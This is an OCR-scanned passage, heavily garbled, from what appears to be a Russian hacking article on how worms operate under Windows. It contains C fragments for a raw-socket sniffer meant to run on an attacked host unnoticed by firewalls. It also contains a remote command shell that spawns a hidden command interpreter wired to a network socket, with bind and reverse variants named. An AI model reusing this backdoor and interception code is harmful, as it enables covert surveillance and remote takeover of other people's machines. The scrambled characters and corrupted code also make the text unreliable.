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CoBceM uHas cutyaums cknageisaetcs ¢ Windows NT.
lMaKeTHbIX COKETOB OHa He NOLOAEPXMBAET, C CETEBLIM Apaii-
BEPOM Hanpsimyto paboTtaTb He NO3BONSET. TOHHee, NO3BONS-
€T, HO C 04Y€Hb GOMbLUMMM NPEAOCTOPOXHOCTAMM U He 6e3
MAACOK ¢ 6y6HOM (ecnn HeT 6y6Ha, Ha XyOOW KOHeL, COMaeT v
06bIKHOBEHHbI OLMHKOBaHHbIN Ta3, NOAPO6HOE U3NOXeHUe
puTyana MOXHO HanTn y Ko6epHU4eHKo B «HefoKyMeHTMpO-
BaHHbIX Bo3MoxHocTax Windows NT»). N xoTa nakeTHbIX
cHudpdpepos nog NT cyLlecTByeT OrpOMHOE KOIMYECTBO (0AWH
13 KOTOpbIX Jaxe BxoguT B DDK), Bce oHM TpebyloT 0653a-
TENbHON YCTAHOBKM CreumanbHoro apameepa, T.K. KOPPeKT-
Hasi pabota ¢ TpaHcnopTom B NT BO3MOXHA TONbKO Ha YpOB-
He fgpa. MoxXeT nu YepBb NpUTaLMTb € COOOW Takow apan-
BEP U AMHAMWYECKM 3arpy3nTb ero B cuctemy? Hy, BoobLue-
TO MOXET, TOJbKO 3TO 6yOeT KpawHe rpoOMO3OKOe U Heane-
raHTHOE peLUeHue.

B Windows 2000/XP Bce ropasgo npotue. Tam goctaToy-
HO co3fath cbipoi cokeT (B Windows 2000/XP HakoHeL-TO
nosiBunacb NoaaepXka ChlpbiX COKETOB!), MOMECTUTL €ro Ha
npocnyLwmMBaemMbIn UHTepdenc 1, caenas cokeTy bind, nepe-
BECTW MOCNEAHUIA B HEPA3BOPUMBLIA PEXMM, CKa3aB:

WSAIoctl (raw_socket, SIO RCVALL,
s:.zeof(optval) , 0,0,&N,0,0))

&optval, J

roe optval — nepemenHas Tuna DWORD ¢ eguHuuei BHyTpY,
a N — Konn4ecTBO BO3BpPALLEHHbIX (DYHKLMEN HawT.

Bnepsble NCXOOHbLIN TEKCT Takoro cHuddepa 6bia ony6-
NIMKOBaH B LLECTOM HOMepe XypHana 29A, 3aTteM ero nepe-
apan Z0mnie, NnepenoXxmnBLLMN acceMONepHbIN KOA Ha UHTep-
HauMOHanbHbIA NporpaMMmUCTCKuiA A3blk Cu++ (CTpaHHo, a
noyemy He Cu?) 1 yHacnefoBaBLUWIA BCe NNbI OpUriHana.
Hwxe npvBeaeH ero Knto4eBo parMeHT ¢ MOMMU KOMMEH-
TapuaMK, a NOSHbIA UCXOAHBIN TEKCT COAEPXMTCA B hanne
sniffer.c. Opyroi UCTOYHMK BAOXHOBEHWS — OEMOHCTPaLMOH-
HbIn npumep IPHDRINC, Bxopawumii B coctas Platform SDK
2000. PekomeHpyto.

JuctuHr 6. KmoueBoi @parMeHT koja nakerHoro sniffer mopg
Windows 2000/XP

// CospaeM cmpont coxer
if ((raw_socket = socket (AF_INET, SOCK RAW, IPPROTO IP)) ==
-1) return -1;

// BoT TYT HEKOTOpHE PYKOBOACTEA yTBEPKHAKT, YTO CHPOMY COKETY
// namo maTe aTpubyT IP HDRINCL. JaTb-TO, KOHEYHO, MOXHO,
// Bo Bemr MoXHO ¥ He gmaBaTn! émar IP_HDRINCL coobmaer

// cucremMe, uTo anmner xoueT caM $opMupoBaTe IP-3aronoBox
// oTnpaBnsieM X NaKkeTOB, a NPUHSITHE MAaKeTH €My OTHANTCS
// ¢ IP-zaronoBkoM B JoBOM Chydae.

// TompobrocTn B PlatformSDK — TCP/IP Raw Sockets

// if (setsockopt (raw_socket, IPPROTO IP, IP HDRINCL,

// &optval, sizeof(optval))== -1)..

// TNepeuncnsiem Bce uHTepdeitcs (T.e. IP-agpeca BCex WIIKN30B,

// uTO ecTs Ha xomnboTepe. llpM ppp-NOANIKYEHMN K VHTEpHeTY

// oBmuHO MMeeTcs: BCero OmMH IP-afpec, HaSHAUEHHSI

// DHCP-cepeepoM mpoBaitfiepa, OFHAKO B JIOKANBHOM CETH 3TO He Tak

if ((zzz = WSAIoctl (raw_socket, SIO ADDRESS LIST QUERY Al
0, 0, addrlist, s1zeof(addr11st), &N, 0, 0)) =
SOCKET_ERROR) return -1;

// Tenepe Mm momxHm cmenaTe bind Ha Bce uHTepdelicH, BHEeNUB

// xaxpsyt B CBOM HOTOK (BCe COKETH - BJIOKMpyeMse), OZHAKO,

// B BaHHOM HEMOHCTPALIOHHOM NpMMepe CIyllaeTcs Jumb IP nepsoro

// nonasmwerocst nox pyky uHTepdeirca

addr.sin family = AF_INET;

addr.sin addr = ((struct sockaddr in*)
1llist->Address[0] .lpSockaddr) ->sin_addr;
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if (bind(raw_socket, (struct sockaddr*) .
&addr, sizeof (addr))==SOCKET ERROR) return -1;

#define SIO RCVALL 0x98000001

// coobmaemM cucTeMe, UTO M XOTMM NOJNY4YaTh BCEe NaKEeTH,

// npoxopsupe MuMO Hee

if (zzz=WSAIoctl (raw_socket,SIO RCVALL, éoptval, .
sizeof (optval) ,0,0,&N,0,0)) return -1;

// nonmyuaeM Bce makeTH, NPMXOASUME Ha HBaHHHM MHTepderc
while (1)

if ((len = recv(raw_socket, buf, sizeof (buf), 0)) < 1) J
return -1;

}

OTkomnunnupoBag sniffer.c, 3anycTute ero Ha atakyemom
y3ne ¢ npaBamu agMMHUCTPATOPa 1 OTMNpaBbTE C y3na aTaky-
towiero Heckonbko TCP/UDP-nakeToB, KOTOpbIE NMPONycKaeT
firewall. CmoTpuTE, YepBb UcnpaBHO BbinasnveaeT wx! Mpu-
YEM HUKAKUX OTKPbITbIX MOPTOB HA atakyeMOM KOMMbIOTepe
He pobaBnsertca U hakT nepexearta He (OMKCUPYETCS HU MO-
HUTOPaMK, HU NIOKanbHbIMKU 6paHaMayapamm.

Ons pa3obrnaveHns NaccuBHbIX cnyLiaTenei 6binu paspa-
60TaHb! cnewuyanbHble MeTofbl (KpaTkoe OnMcaHue KOTOpbIX
MOXHO HalTW, Hanpumep, 3aeck: http://www.robertgraham.com/
pubs/sniffing-fag.html), ogHako npakTN4ECKOM NOMb3bI OT HUX
HUKAKOW, T.K. BCE OHW OPUEHTUPOBAaHbI HA 6OpLOY C ANUTENb-
HbIM NPOCHYLLMBAHNEM, a YEPBIO AN OCYLLECTBIEHNUS aTaku
TpebyeTca He 6onbLUe HECKONbKUX CEKYHA!

Opranun3auus ypanexnoro shell 8 UNIX u NT
MoTpebHOCTb B yaaneHHoM shell UcnbITbIBAKOT HE TOMBKO Xa-
Kepbl, HO U caMK agMUHUCTPaTopbl. 3HaeTe, kak HeoxoTa
OblBaET B AOXANMBbLIA AEHb TALLMTLCA Yepesa BECb ropof TOMb-
KO 3aTeM, YTOObl MPUKPYTUTL PUTUNEK «KoNTALLero» NT-cep-
BEPa, Ha X0y CTpsAxuBas ¢ ce6a 0CTaTKM CHa, ja COOCTBEHHO
JaXe He CHa, a TEX ero Xasnkux ypbIBKOB, B KOTOPbIE B U3He-
MOXEHMUM MOrPYXaeLbCa NPSMO 3a MOHUTOPOM. ..

B UNIX-nogo6Hbix onepaumoHHbIX cuctemax shell ectb ot
poxpaeHus, a BoT B NT ero npuxogutcs peann3oBbiBaTb camo-
cTosTenbHo. Kak aTo MoxHO caenatb? o ceTtn xoguT coeep-
LLIEHHO Yy[OBULLHBINA KO, NEPeHaNPaBnatoLLMIA BECb BBOL/BbI-
BO NOPOXAEHHOr0 NpoLiecca B AeCKpUNTopbl non-overlapping-
cokeToB. CumTaercs, 4TO pas yX non-overlapping-CokeTbl BO
MHOMUX OTHOLLIEHUSIX BELYT Ce61 TaK Xe, KaK 1 06bl4Hble dhan-
NOBbIE MaHUMYNATOPbI, ONepaLMoOHHas CUCTeMa He 3aMeHUT
obMmaHa, 1 KoMaHIHbIA uHTepnpeTatop 6ygeT pabéoTats ¢ yaa-
NEHHbIM TEPMUHASIOM TaK Xe, Kak U C NOKanbHOA KOHCOMbHO.
MoxeT 6bITb (XOTS 3TO M KpaiHe ManoBEPOSITHO), B KaKOW-TO
13 Bepcuii Windows Takon npvem n paboTtaeT, 0fHaKko Ha BCex
COBPEMEHHBIX CUCTEMAX NOPOXAEHHbIA NPOLIECC NONPOCTY He
3HAET, YTO eMy C IECKPUMTOPaMM COKETOB COBCTBEHHO fenaTb,
1 BeCb BBO//BbIBOJ, NPOBANNBAETCA B TapTapapbl...

Ecnu pasobpaTbecs, TO Ana peanu3aunv yganeHHoW aTaku
nofiHoLeHHbIN shell coBcem Heobs3aTeneH, 1 Ha NepBbIX Mo-
pax MOXHO OrpaHNYUTLCS «Cenoi» nepeaadert KoMaHg LTart-
HOro KOMaHHOro MHTeprpeTartopa (eCTECTBEHHO, C BO3MOX-
HOCTbIO YAANIEHHOr0 3anycka pasfinyHbIX YTUIUT, U B HaCTHO-
CTW yTUnuTBI calcs, obecneyrBaroLLen ynpasneHve Tabnmua-
MW yrnpaBsieHns focTyna K dgannam).
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B npocTenwem cny4ae shell peanusyetcs npubnmanTens-
HO TakK:

JucTuHr 7. KmoueBoit ¢parMeHT mpocTermwero ypaneHHoro shell

// MoTaeM upKn, NpMEMMAsi C COKETa KOMAaHIs, NOKa €CTb YTO IPUHU-
MaTh
while (1)
{
// npuHMMaeM OYepefHyH NOPUMI0 FAHHHX
a = recv(csocket, &buf[p], MAX BUF SIZE - p - 1, 0);

// ecnu coemvHeHMe HEOXMZAHHO BaKPHJIOCH, BHXONMM US LMKIA
if (a < 1) break;

// yBenuumBaeM CueTUMK KONMYECTBA NPUHSTHX CUMBOJOB
// m BHefpsieM Ha KOHel, CTPOKM BaBepliakumii HOJIb
p += a; buf[p] = 0;

// cTpoxa CORepXMT CMMBON NeEpeHoca CTPOKM?

if ((ch = strpbrk(buf, xEOL)) != 0)

{ /] ma, copepxur
// oTcekaeM CUMBON MepeHOCAa ¥ OYMAEM CUETUMK
*ch = 0; p=0;

// ecnm cTpoxa He mycTa, nepefaeM ee
// xOMaHZHOMY VMHTepNpeTaTOpy Ha BHIIOJHEHNUE
if (strlen(buf))

sprintf (cmd, "$%s%s", SHELL, buf); J
exec (cmd) ;
} else break; // ecmu 3To mycTas CTpoka — BEXOAVUM

Ons KOMOPTHOro afgMMHUCTPUPOBAHMSA YOANEHHOW CUCTE-
Mbl (PaBHO KaK M aTaku Ha Hee) BO3BMOXHOCTEMN «CRenoro»
shell 6onee 4em HEQOCTATOYHO, U HEYOAMBUTESNIBHO, ECNN Y Bac
BO3HUKHET XXENaHWE XOTb HYTOHKY €ro ynyulnTb, LOCTUrHYB
«MpO3pa4Horo» B3aMMOAENCTBUSA C TepMuHanoM. U ato pen-
CTBUTENIbHO MOXHO cfenatb! B 3TOM HaM moMOryT KaHanbl
(oHM Xe «narnbl» — OT aHrNUINCKOro pipe).

KaHanbl, B OTNIM4ME OT COKETOB, BMOJIHE KOPPEKTHO Mopd-
KII04aKTCS K AECKpMNTOpaM BBOAA/BbIBOAA, Y MOPOXAEHHDBIN
npoLecc paboTaeT ¢ HUMM TOYHO TaK Xe, Kak U CO CTaHaapT-
HbIM JIOKanbHbIM TEPMUHAIIOM, 3@ TEM UCKMIOYEHWEM, HTO
BbI30BbI WriteConsole HUKorga He nepeHanpaBnAoTCS B Nanm
1 NOTOMY YHaneHHbIA TEPMUHAN MOXET paboTaTb AaNeko He
CO BCEMW KOHCOJIbHLIMMW MPUITOXEHNAMM.

KoppekTHO HanucaHHbIi shell TpebyeT cos3gaHns Kak Mu-
HUMYM [BYX NavnoB — OAuH 6ydeT 06CnyXuBaTb CTaHAapT-
HbliA BBOA, COOTBETCTBYHOLWMIA feckpunTtopy hStdinput, opy-
roN —CTaHAaPTHbIV BbIBOL, COOTBETCTBYIOLLMIA AecKpunTopam
hStdOutput n hStdError. [leckpuntopbl camux nannos o6sa3a-
TEeNbHO JOMKHbI ObITh HAcNefyeMbIiMK1, B MPOTVBHOM Clly4Hae
NOPOXAEHHbIA MPOLIECC NPOCTO HE CMOXET 10 HWX «JOTAHYTb-
csi». A kaK coenatb Mx HacnegyembiMv? [la o4eHb NMpocTo —
BCEro nuwb B3gecTu donar binheritHandle B coctosHne TRUE,
nepefasas ero yHkumn CreatePipe BMecTe co CTpyKTypo#
LPSECURITY_ATTRIBUTES, “HMUMan13vpoBaHHO BMOJHE
€CTEeCTBEHHbIM 06pa3oM.

OcTaetca nogrotoutb cTpykTypy STARTUPINFO, cono-
CTaBVB [ECKPUMNTOPbI CTaHAAPTHOrO BBOAA/BbIBOAA HAcneny-
€MbIM KaHanam, ¥ H1 B KOeM Cry4vae He 3a6biTb B3BECTM donar
STARTF_USESTDHANDLES, uHa4e thakT nepeHa3Ha4eHus
CTaHLapPTHbIX AECKPMNTOPOB 6YAET HarnbiM 06pa3oM Npour-
HOPWPOBaH.
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OpHako 370 elLe He Bce, M Camoe MHTEPECHOE HAac XAeT
Bnepean! [ns cBA3bIBaHUS KaHANOB C COKETOM yAaneHHOro
TepMMHana Ham noTpebyeTcsi peanv3oBaTtb CreuuanbHbIn
PE3VNOEHTHBIV AMCNETYEP, CHATLIBAKOLLMIA NOCTYNAOLLME AaH-
Hble 1 NepeHanpaBnAOLLMIA MX B COKET UM KaHan. Best cnox-
HOCTb B TOM, YTO NPOBEPKa HANN4MSA AaHHbIX B COKETE (KaHa-
ne) JDomkHa 6bITb HEONOKMPYEMOK, B MPOTUBHOM Clyyae Ham
noTpebyloTcA ABa AUCneTHepa, Kaxabli U3 KOTOpbIX 6yaeT
BbINOSHATLCA B «CBOEM>» MOTOKE, YTO, COrNMacUTECh, FPOMO3-
[KO, HEKPACMBO W HE3NEraHTHO.

O6patuBlunck k Platform SDK, mbl Haiigem gBe nones-
Hble dpyHkumm: PeerkNamePipe u ioctlsocket. lMNepsas oTse-
4aeT 3a He6IOKMPYEMOEe U3MEPEHME «TNybUuHbI» KaHana, a
BTOpas 06CyXMBAET COKEThI. Tenepb aucneTHepusaLms BBo-
[a/BblBOAA CTAHOBUTCS TPUBMASIbHON.

JucTuer 8. KmoueBOM QparMeHT MOJNHOUEHHOTO ypaleHHoro shell
BMECTe C AuCleTYepoM BBORA/BHBOAA

NULL;
sizeof (SECURITY ATTRIBUTES);

sa.lpSecurityDescriptor
sa.nLength

sa.bInheritHandle TRUE; // allow inheritable
// handles

// create stdin pipe

if (!CreatePipe(&cstdin, &wstdin, &sa, 0)) return -1;

// create stdout pipe

if (!CreatePipe(&rstdout, &cstdout, &sa, 0)) return -1;

// cset startupinfo for the spawned process
GetStartupInfo(&si);

si.dwFlags = STARTF_USESTDHANDLES | STARTF USESHOWWINDOW;

si.wShowWindow = SW_HIDE;

si.hStdOutput = cstdout;

si.hStdError = cstdout; // set the new handles for
// the child process

si.hStdInput = cstdin;

//spawn the child process
if (!CreateProcess(0, SHELL, 0, 0, TRUE, J
CREATE_NEW_CONSOLE, 0,0,&si,&pi)) return -1;

while (GetExitCodeProcess (pi.hProcess, &fexit) && J

(fexit == STILL ACTIVE))
{

// check to see if there is any data to read from stdout

if (PeekNamedPipe (rstdout, buf, 1, &N, &total, 0) && N)

{
for (a = 0; a < total; a += MAX BUF SIZE)
{
ReadFile (rstdout, buf, MAX BUF SIZE, &N, 0);
send (csocket, buf, N, 0);

}

if ('ioctlsocket(csocket, FIONREAD , &N) && N)
{
recv(csocket, buf, 1, 0);
if (*buf == '\x0A') WriteFile(wstdin, "\xOD", .
1, &N, 0);
WriteFile (wstdin, buf, 1, &N, 0);

}
Sleep(1);
}

OTtkomnunMpoBaB M0G0 U3 Npeanaraembix annos (Kak
To: bind.c, reverse.c, find.c unu reuse.c), Bbl nonyuute BNOs-
He KOMJOpTHbIN shell, 06ecneymBaroLLmMii NIpo3padyHoe ynpas-
neHne yganeHHon cucteMon. ToMbko He MblTakTech 3anyc-
KaTb Ha HeM FAR — BCe paBHO HMYero XOpOoLLEro 13 3Ton 3a-
Teu He BobiigeT! [dpyras npo6nema: npu BHE3aANHOM paspblee
COeMHEHUS, MOPOXAEHHbIE NPOLIECCHI TaK U OCTaHyTca 601-
TaTbCA B MaMsATW, YOEPXMBAsA yHaCNeLoBaHHble COKETbI M
MPensTCTBYS MX NOBTOPHOMY UCMOMb30BaHM0. Ecin aTo npo-
n3onpet, Bbl3oBuTe «[ucnetyep 3apay» u npubeinTe Bcex
«306MM» BpYyYHyto. PasymeeTcsi, aTy onepaumio MOXHO OCy-
LLECTBUTb U YAaneHHO, BOCNONb30BABLUMCL KOHCOMBHOW YT~
nutown Tuna Kill.

Takxe He nomeLLaeT ocHacTUTb Baly Bepcuio shell npo-
LIEAYpOV aBTOpU3aLmMuy, B NPOTUBHOM CIly4ae B CUCTEMY MO-
rYT NPOHWKHYTb HE3BAHbIE FOCTW, HO 3TO YXE BbIXOOMT 3a
npegenbl TEMbl 3TOW CTaTbM.
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